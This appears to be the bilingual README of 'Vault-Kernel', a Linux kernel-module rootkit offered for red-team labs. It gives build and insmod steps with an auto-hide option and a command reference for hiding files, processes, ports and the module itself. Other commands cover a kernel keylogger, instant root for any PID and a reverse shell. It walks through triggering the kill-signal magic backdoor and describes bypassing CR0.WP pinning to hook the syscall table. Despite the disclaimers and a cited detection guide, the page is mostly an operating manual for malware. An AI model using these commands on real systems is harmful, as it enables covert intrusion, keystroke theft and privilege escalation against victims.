Español · English · Changelog · Detección (blue team) · ADR
⚠️ AVISO ÉTICO / LEGALVault-Kernel es exclusivamente para auditorías de seguridad autorizadas, entornos controlados de laboratorio, investigación académica y operaciones de red team con permiso explícito por escrito.
El uso no autorizado de este software puede violar leyes locales e internacionales. El propietario y colaboradores no se responsabilizan por el uso indebido. Tú eres el único responsable de cumplir con todas las leyes aplicables.
No hay razón legítima para cargar esto en un sistema que no te pertenece o para el que no tienes autorización.
Mapa completo: espacio de usuario → /dev/vault_kernel → espacio de kernel (los 7 módulos reales de src/, con el bypass CR0.WP a prueba de pinning de v3.13).
flowchart LR
subgraph User["👤 User Space"]
CLI["CLI Go (0 deps)"]
CLI2["CLI Python<br/>(Linux full · Windows parcial)"]
end
subgraph Kernel["🧠 Kernel Space — LKM .ko"]
SCT["sys_call_table hooking<br/>pt_regs ABI · CR0.WP raw (v3.13)"]
RCU["RCU sync on rmmod"]
end
subgraph Ops["⚙️ Módulos"]
FH["file_hide<br/>getdents64/32 · openat<br/>unlinkat · statx"]
PH["proc_hide<br/>filtro /proc + guardia kill()"]
NH["net_hide<br/>filtro read() /proc/net/*"]
KL["keylogger<br/>notifier chain"]
BS["backdoor<br/>kill(35) magic packet"]
PE["priv_esc<br/>cred rootify"]
SH["stealth<br/>lsmod + sysfs del"]
end
CLI -->|ioctl| DEV["/dev/vault_kernel<br/>16 ioctls · 0600"]
CLI2 -->|ioctl| DEV
DEV --> SCT
SCT --> RCU
SCT --> FH & PH & NH & KL & BS & PE & SH
| Feature | Técnica | Stealth |
|---|---|---|
| Ocultar ficheros/dirs | Hook de getdents64/getdents/openat/unlinkat/statx |
🟢 Invisible a ls, find, stat |
| Ocultar procesos | Filtro de PID en /proc + protección de señales (kill → -ESRCH) |
🟢 Invisible a ps, top, htop |
| Ocultar puertos | Filtrado del read() de /proc/net/tcp* y udp* |
🟢 Invisible a netstat, ss |
| Keylogger de kernel | Cadena de notificadores de teclado → buffer 4 KiB | 🟢 Captura antes que X11/Wayland |
| Reverse shell | call_usermodehelper() vía workqueue |
🟢 Sin ficheros en disco |
| Backdoor mágico | kill(pid, 35) con palabra + puerto codificados (hash FNV-1a) |
🟡 Sin puerto abierto |
| Root instantáneo | Mutación de cred propia (commit_creds) o remota (in-place, task_lock) |
🟢 Root a cualquier PID |
| Ocultar el módulo | list_del + kobject_del con recuperación segura (reversible) |
🟢 Invisible a lsmod/sysfs |
| Hooks a prueba de hardening | CR0.WP por instrucción directa + verificación de escritura de cada hook | 🟢 Sobrevive al pinning de CR0 (≥5.3) |
| Estadísticas en vivo | ioctl GET_STATS: versión, hooks verificados, contadores, uptime |
🔵 Observabilidad del implante |
| CLI multiplataforma | Go (linux/windows/darwin) y Python con mensajes claros en Windows | 🔵 Control desde cualquier sitio |
# Dependencias (Debian/Ubuntu)
sudo apt install build-essential linux-headers-$(uname -r) golang-go
# 1. Compilar el módulo
cd src && make
# 2. Cargar en el kernel (¡SOLO en tu laboratorio!)
sudo insmod vault_kernel.ko
# 2b. Variante sigilosa: se auto-oculta de lsmod al cargar
sudo insmod vault_kernel.ko auto_hide=1
# 3. Compilar el cliente Go
cd ../client/go && go build -ldflags="-s -w" -o vault_kernel ./cmd/vault_kernel/
# 4. Verificar
sudo ./vault_kernel status
sudo ./vault_kernel stats🩺 Si algo falla al cargar o al enganchar, ve directo a Solución de problemas y ejecuta
sudo ./vault_kernel doctor— el diagnóstico de laboratorio lo localiza en segundos.
El módulo kernel es Linux-only (un .ko no existe en Windows), pero el
control del implante está pensado para usarse desde Windows:
| Vía | Qué obtienes |
|---|---|
CLI Python nativo (client/vault_kernel_cli.py) |
python vault_kernel_cli.py help · version · magic-encode funcionan en Windows; los comandos de dispositivo salen con un mensaje claro en lugar de un traceback críptico (/dev/vault_kernel no existe fuera de Linux). Sin dependencias externas. |
| Cliente Go compilado para Windows | make client-windows produce client/go/vault_kernel.exe (cross-build GOOS=windows verificado). Mismo comportamiento: client-side OK, device commands con error claro. |
| WSL2 | El CLI corre, pero el kernel de WSL2 no permite cargar .ko propios (sin headers ni módulos). Útil solo como cliente remoto. |
| SSH al laboratorio Linux | La vía recomendada: tu terminal Windows (Windows Terminal + ssh) controla la VM del lab; los GIFs de arriba son exactamente esa experiencia. |
# Windows: solo lo client-side (sin dependencias)
python client\vault_kernel_cli.py version
python client\vault_kernel_cli.py magic-encode pwn 4444
# Windows: binario Go nativo (cross-compilado desde Linux)
make client-windows # → client/go/vault_kernel.exe
# El resto, desde el lab Linux:
ssh lab@192.168.56.10 "sudo ./vault_kernel stats"vault_kernel status # ¿Está cargado el módulo? (sin root)
vault_kernel status --json # El mismo chequeo en JSON (5º documento del contrato)
vault_kernel doctor # Diagnóstico completo del lab (dispositivo, ABI, hooks)
vault_kernel doctor --json # El mismo diagnóstico en JSON para scripts/jq
vault_kernel stats # Estadísticas en vivo (hooks, contadores, uptime)
vault_kernel stats --json # Las mismas estadísticas en JSON para scripting
vault_kernel watch # Vista en vivo de stats + ocultos (refresco 1 s, Ctrl-C para salir)
vault_kernel watch --once # Un solo fotograma del panel, sin códigos ANSI (para scripts)
vault_kernel watch --count 5 # Ventana FINITA: 5 fotogramas y salida limpia (para reportes)
vault_kernel give-root [pid] # Root instantáneo (por defecto: self)
vault_kernel hide-file <name> # Ocultar fichero/directorio (hide-file -- -raro para nombres con -)
vault_kernel unhide-file <name> # Revelar fichero/directorio
vault_kernel hide-pid <pid> # Ocultar proceso (kill() → ESRCH)
vault_kernel unhide-pid <pid> # Revelar proceso
vault_kernel hide-port <port> # Ocultar puerto TCP/UDP
vault_kernel unhide-port <port> # Revelar puerto
vault_kernel list # Listar todo lo oculto
vault_kernel list --json # Lo oculto en JSON ({pids, files, ports})
vault_kernel shell <ip:port> # Reverse shell vía usermodehelper
vault_kernel magic <word> # Activar backdoor de palabra mágica
vault_kernel magic-encode <word> <port> # Imprimir el kill() listo para disparar
vault_kernel keylog # Leer pulsaciones capturadas
vault_kernel keylog --follow # Stream en vivo de pulsaciones (Ctrl-C para parar)
vault_kernel keylog --follow --timestamps # Stream con marca de tiempo [HH:MM:SS] por evento
vault_kernel keylog --follow --output cap.log # Stream que TAMBIEN se guarda en fichero (0600)
vault_kernel keylog --follow --stop-after 200 # Ventana FINITA: para limpio tras 200 eventos
vault_kernel keylog-clear # Limpiar buffer del keylogger
vault_kernel capture # Bundle de evidencia: stats + ocultos + keylog en un JSON
vault_kernel capture --out ev.json # El mismo bundle escrito a fichero (0600)
vault_kernel capture --out ev.json --stdout # Fichero Y JSON en stdout (resumen → stderr, seguro para | jq)
vault_kernel hide-module # Ocultar de lsmod
vault_kernel unhide-module # Revelar en lsmod
vault_kernel reset # Limpiar TODAS las listas de ocultacion
vault_kernel version # Version del cliente y ABI
vault_kernel help # Ayuda completa (con la tabla de exit codes)💡 Autocompletado:
source completions/vault_kernel.bashen bash o instalacompletions/vault_kernel.zshen tufpathde zsh — ambos completan comandos y flags de los DOS clientes, y un test de paridad textual impide que se separen.
Ambos clientes (Go y Python) comparten el MISMO contrato de tres clases — un script
puede clasificar el fallo con $? sin parsear texto:
$? |
Clase | Ejemplos |
|---|---|---|
| 0 | Éxito | status, stats --json, capture --out ev.json |
| 1 | Error runtime | dispositivo no presente, fallo de ioctl, informe vacío, fichero no escribible |
| 2 | Error de uso | operandos que faltan/sobran, valores inválidos (hide-pid 0), precondiciones (keylog --stop-after sin --follow), comando desconocido, invocación desnuda |
$ vault_kernel hide-file a b ; echo $?
[-] Error: usage: vault_kernel hide-file <name> (unexpected argument: b)
2
$ vault_kernel hide-file secreto.txt ; echo $? # sin módulo cargado
[-] Error: cannot open /dev/vault_kernel: ... (is rootkit loaded?)
1Fijado por tests en ambos lados: TestGrammarErrorsAreUsage (Go) y
TestExitCodeContract con subprocesos reales (Python).
El backdoor combina palabra + puerto en un solo kill(). El módulo compara el hash FNV-1a-16 de la palabra; el puerto viaja en los 16 bits altos del PID:
# 1. Configurar la palabra en el módulo
sudo ./vault_kernel magic pwn
# 2. Obtener el disparador listo para usar
sudo ./vault_kernel magic-encode pwn 4444
# [*] Magic word : pwn (hash 0xBCBF)
# [*] Port : 4444
# [*] Encoded PID: 291290303
# [*] Trigger : kill -s 35 291290303
# 3. Desde la víctima, disparar la reverse shell a 127.0.0.1:4444
kill -s 35 291290303ℹ️ La señal es 35 =
SIGRTMIN+1según glibc en x86_64 (elSIGRTMINdel kernel es 32 y no coincide con el de usuario — bug corregido en v3.1).
Lo que se verifica automáticamente (sin root, sin VM):
# Todo lo no-VM de una vez (tests Go + regresión de payloads + completions)
make test
# Tests unitarios Go (ioctl layout, FNV, serialización, gramática, paridad)
cd client/go && go test ./... -v -count=1 # 46 tests
# Unittest Python (gramática argparse, contrato JSON, exit codes, watch --count)
python3 tests/python/test_cli_parsing.py # 82 tests
# Tests de regresión de payloads (13 checks: sintaxis del dropper,
# round-trip del tarball, claves XOR hostiles, gcc del C stager…)
bash tests/test_payloads.sh
# Test funcional del autocompletado bash + paridad zsh (sin paquetes)
make test-completions
# Cross-build del cliente para Windows (v3.13)
make client-windows
# Compilación real del .ko (la hace CI contra 5.15 y 6.8; local
# contra cualquier set de headers instalado)
make -C srcLo que requiere una VM de laboratorio con el módulo cargado:
sudo insmod vault_kernel.ko
sudo bash tests/integration.sh # suite de integración end-to-endCI valida en cada push: gofmt/go vet/go build/go test, compilación
real del .ko contra los headers del runner, matriz Docker contra headers
5.15 y 6.8, shellcheck de todos los scripts, tests de payloads, test funcional de
completions y py_compile+ruff del código Python. Sin atajos: si está
verde, compila.
| Kernel | Estado | Notas |
|---|---|---|
| x86_64 ≥ 4.17 (4.17 – 7.x) | ✅ Soportado | ABI pt_regs obligatoria; class_create() adaptado (≥6.4); bypass de CR0.WP a prueba de pinning (≥5.3) y hooks con verificación de escritura (v3.13). Verificado en CI contra 5.15 / 6.8 |
| x86_64 < 4.17 | ❌ Rechazado | El módulo no compila — las llamadas antiguas pasaban args directos |
| WSL2 | Sin headers de kernel ni módulos cargables (el .ko sí se compila vía Docker); el CLI sirve de control remoto |
|
| Windows / macOS | CLI Go cross-build (make client-windows) y CLI Python: comandos client-side OK, comandos de dispositivo con mensaje claro |
|
| ARM64 | 🚧 Planificado | En el roadmap |
| Síntoma | Causa probable | Solución |
|---|---|---|
sudo insmod vault_kernel.ko → zsh: killed (o bash: killed) |
En kernels ≥ 5.3 el kernel fija CR0.WP y la escritura a la sys_call_table read-only provoca un page fault → el oops killer mata insmod. Corregido en v3.13 (escritura CR0 directa + verificación por hook) |
Reconstruye el módulo (cd src && make clean && make), recarga y mira sudo dmesg | tail -30 |
hooks_installed=1 hooks_planned=7 (o menos de 7) |
Build antiguo con el bug del pinning de CR0, o escritura de la tabla rechazada (hypervisor, CFI) | v3.13 reporta hooks verificados y registra cada fallo en dmesg; reconstruye y recarga. doctor muestra el estado real |
[-] /dev/vault_kernel not found |
Módulo no cargado (o falló al cargar) | sudo insmod vault_kernel.ko y revisa sudo dmesg | tail -20; luego sudo ./vault_kernel doctor |
insmod: ERROR: could not insert module ... Invalid module format |
.ko compilado contra headers de otra versión del kernel |
sudo apt install linux-headers-$(uname -r) y make clean && make |
insmod: ... Key was rejected by service / Operation not permitted |
Secure Boot activo (lockdown de kernel bloquea módulos sin firmar) | Desactiva Secure Boot en la VM del lab o firma el módulo; mokutil --sb-state para comprobar |
[WARN] client v3.13 != module v3.x — ioctl ABI may differ |
Cliente y módulo desincronizados | Reconstruye AMBOS: make -C src && make client |
[-] vault_kernel controls a Linux kernel module... (en Windows/macOS) |
Comando de dispositivo fuera de Linux | Normal: ejecuta los comandos de dispositivo en el host del lab (nativo, VM o SSH) |
watch no repinta la pantalla |
Consola sin soporte VT/ANSI | En Windows Terminal/PowerShell 7 funciona nativo (v3.13 habilita VT); en consolas raras usa watch --once |
Este proyecto también es material de estudio defensivo. La guía
docs/DETECTION.md documenta IOC concretos del
implante (nodo /dev/vault_kernel, logs [vault_kernel], unidad de
persistencia, firma del kill(pid, 35)), comprobaciones rápidas en vivo,
verificación robusta (integridad de la syscall table, notifier chains,
forense de memoria con Volatility) y endurecimiento preventivo
(module.sig_enforce, LKRG, kptr_restrict, reglas auditd).
Si estás usando Vault-Kernel en un lab de red team, esa misma guía es la
que debería permitir al equipo azul ganar el ejercicio.
Vault-Kernel/
├── src/ # Módulo kernel (C)
│ ├── main.c # init/exit, búsqueda de syscall table, bypass CR0.WP (v3.13)
│ ├── hooking.c # instalación/remoción de hooks + RCU sync
│ ├── file_hide.c # hooks getdents64/getdents/openat/unlinkat/statx
│ ├── proc_hide.c # ocultación PID + guardia kill()
│ ├── net_hide.c # filtrado read() de /proc/net/*
│ ├── keylogger.c # keyboard notifier chain
│ ├── backdoor.c # reverse shell + magic packet (hash FNV-1a)
│ ├── priv_esc.c # give-root (self + PID remoto)
│ ├── stealth.c # ocultación lsmod/sysfs reversible
│ ├── ioctl.c # /dev/vault_kernel (16 ioctls)
│ ├── core.h # headers + capa compat pt_regs + constantes
│ └── Makefile
├── client/
│ ├── vault_kernel_cli.py # CLI Python (Linux full · Windows parcial, v3.13)
│ └── go/ # CLI Go (principal, binario único)
│ ├── cmd/vault_kernel/ # 23 comandos
│ └── internal/vaultkernel/# wrapper ioctl (linux/!linux) + panel + tests
├── completions/ # Autocompletado bash + zsh (ambos clientes)
├── payloads/ # Generador de payloads (Python)
├── docker/ # Build + red de laboratorio (compose único)
├── tests/
│ ├── integration.sh # Suite de integración (VM con módulo cargado)
│ ├── test_payloads.sh # Regresión de payloads (corre en cualquier sitio)
│ ├── test_completions.sh # Test funcional bash + paridad zsh
│ └── python/ # 82 unittest del CLI Python
├── docs/
│ ├── ADR.md # Decisiones de arquitectura
│ ├── DETECTION.md # Guía de detección para blue teams
│ ├── SCHEMAS.md # Contrato JSON (índice): stats/list/doctor/capture/status
│ ├── schemas/ # Contrato por comando (stats, list, doctor, capture, status)
│ ├── agentes/ # Informes de ronda del equipo de agentes IA
│ └── images/ # banner.svg/png · architecture.svg/png · 4 GIFs de demo
├── CHANGELOG.md # Historial detallado v3.0 → v3.13
└── .github/workflows/ci.yml # CI (8 jobs: Go, kernel runner, kernel matrix docker 5.15/6.8, shellcheck, completions, payloads, python+tests)
📝 El directorio de documentación es
docs/(en plural). Si escribistecd docpor costumbre, ahora también funciona:doces un enlace simbólico.
Resumen de la ronda de mantenimiento — la lista completa está en CHANGELOG.md:
- Bypass del pinning de CR0.WP (v3.13, módulo): en kernels ≥ 5.3 el kernel fuerza CR0.WP de vuelta dentro de
write_cr0(), así que el viejodisable_wp()nunca desprotegía la tabla y la escritura a lasys_call_tableread-only provocaba el page fault que matabainsmod(zsh: killed,hooks_installed=1/7). Ahora el CR0 se escribe por instrucción directa, se verifica que el WP cayó, cada hook se verifica por lectura tras instalarse yhooks_installedpasa a informar hooks verificados de verdad. - Cliente Go multiplataforma: el wrapper ioctl se divide
linux/!linux— el binario compila para Linux, Windows y macOS (GOOS=windows make client-windows); en Windows los comandos client-side funcionan y los de dispositivo fallan con el mensaje estándar claro. - CLI Python en Windows: import de
fcntlprotegido, chequeo de root multiplataforma, habilitación ANSI/VT parawatchen consolas Windows y un gate de plataforma con explicación en vez de tracebacks. - README reescrito por completo (ES + EN): banner vectorial nuevo, galería con 4 GIFs, sección Windows, tabla de solución de problemas y badge de tests.
- Banner y diagrama nuevos: hechos a mano en SVG (crisp en cualquier zoom) y renderizados a PNG 2x; regenerados
demo.gifywatch-panel.gifcon la salida real del binario v3.13 y añadidoshide-demo.gifykeylog-demo.gif. doc→docs: symlink de conveniencia para quien tecleacd doc.- Suite al cierre: 46 tests Go + 82 unittest Python + 15 checks de completions + 13 de payloads y cross-build Windows verificado.
⚠️ ETHICAL / LEGAL WARNINGVault-Kernel is exclusively for authorized security audits, controlled lab environments, academic research and red team operations with explicit written permission.
Unauthorized use of this software may violate local and international laws. The owner and contributors are not responsible for misuse. You are solely responsible for complying with all applicable laws.
Vault-Kernel is a Linux LKM rootkit engine for red team training and authorized lab work: syscall table hooking with the modern pt_regs ABI, file/process/port hiding, a kernel keylogger, a magic-packet backdoor and in-place credential escalation — controlled through a zero-dependency Go CLI over /dev/vault_kernel.
Quick start: cd src && make → sudo insmod vault_kernel.ko (lab only) → cd client/go && go build -ldflags="-s -w" -o vault_kernel ./cmd/vault_kernel/ → sudo ./vault_kernel stats.
Highlights
- Modern syscall ABI — hooks use
struct pt_regsargument extraction; the module refuses to build against pre-4.17 kernels instead of silently corrupting every syscall. - CR0.WP-pinning-proof hooking (v3.13) — since Linux 5.3 the kernel re-pins CR0.WP inside
write_cr0(), so the old WP-clear silently failed and the read-only table write killedinsmod(zsh: killed, 1/7 hooks). v3.13 writes CR0 directly, verifies the WP clear, read-verifies every hook after install and reports the truthful verified count instats/doctor. - Builds everywhere ≥ 4.17 — verified against the CI Docker matrix (5.15 / 6.8);
class_create()API adapted for 6.4+. - Fully hidden files —
getdents64/getdents/openat/unlinkat/statxare hooked, sols,find,statandlstatall come up empty. - Working magic backdoor —
kill(pid, 35)with(port << 16) | fnv1a16(word); identical FNV-1a implementation in C, Go and Python, verified by unit tests. - Real privilege escalation — self-rooting via
commit_creds(), arbitrary-PID rooting via in-placecredmutation undertask_lock(). - Cross-platform clients — the Go CLI builds for Linux, Windows and macOS (ioctl wrapper split
linux/!linux,make client-windows); the Python CLI runs natively on Windows with a clear platform gate instead of tracebacks. - Live observability —
statsreports version, verified hooks, counters and uptime;watchrepaints it live with change annotations,watch --oncesnapshots it andwatch --count Nrenders finite windows; five JSON documents (stats,list,doctor,capture,status) for scripting, the last one usable without root;capturebundles carryhostname+kernel_releasehost context. - Finite capture windows —
keylog --follow --stop-after Nends the stream cleanly after N events;--output FILEtranscripts every event 0600;watch --count Ndoes the same for panel frames. - Exit-code contract (0/1/2) — both clients share the SAME three-class contract (0 success, 1 runtime/device error, 2 usage error), so scripts can classify failures from
$?alone; grammar is validated BEFORE the device is opened; pinned by real-subprocess tests. - One-shot teardown —
vault_kernel resetclears every hidden file, PID and port through a single ioctl. - Two completion systems — bash and zsh, textually-pinned parity by test; both cover the shared command surface.
- Honest CI — eight jobs (Go toolchain, real
.kocompilation on the runner, Docker matrix against 5.15/6.8 headers, shellcheck, functional bash-completion tests, payload regression, Python with unit tests); no masked failures.
Testing without a VM: make test runs the Go suite, the payload regression and the completion checks (46 + 13 + 15); python3 tests/python/test_cli_parsing.py adds 82 parser/contract tests. Integration tests need a lab VM with the module loaded: sudo bash tests/integration.sh.
Running the clients from Windows: make client-windows → client/go/vault_kernel.exe, or python client\vault_kernel_cli.py — client-side commands (help, version, magic-encode) work natively; device commands explain themselves and point you to the Linux lab host (native, VM or SSH). WSL2 works as a remote client only: its kernel cannot load custom .ko modules.
Compatibility: x86_64 kernels ≥ 4.17, up to 7.x (class_create() API adapted, CR0.WP pinning bypassed, hooks write-verified). WSL2/Windows/macOS act as clients only. ARM64 is on the roadmap. See the Spanish section above for the full feature table, command reference, Windows guide, troubleshooting matrix and compatibility grid.
License: MIT — see LICENSE. Built for learning; use it only where you have written permission.



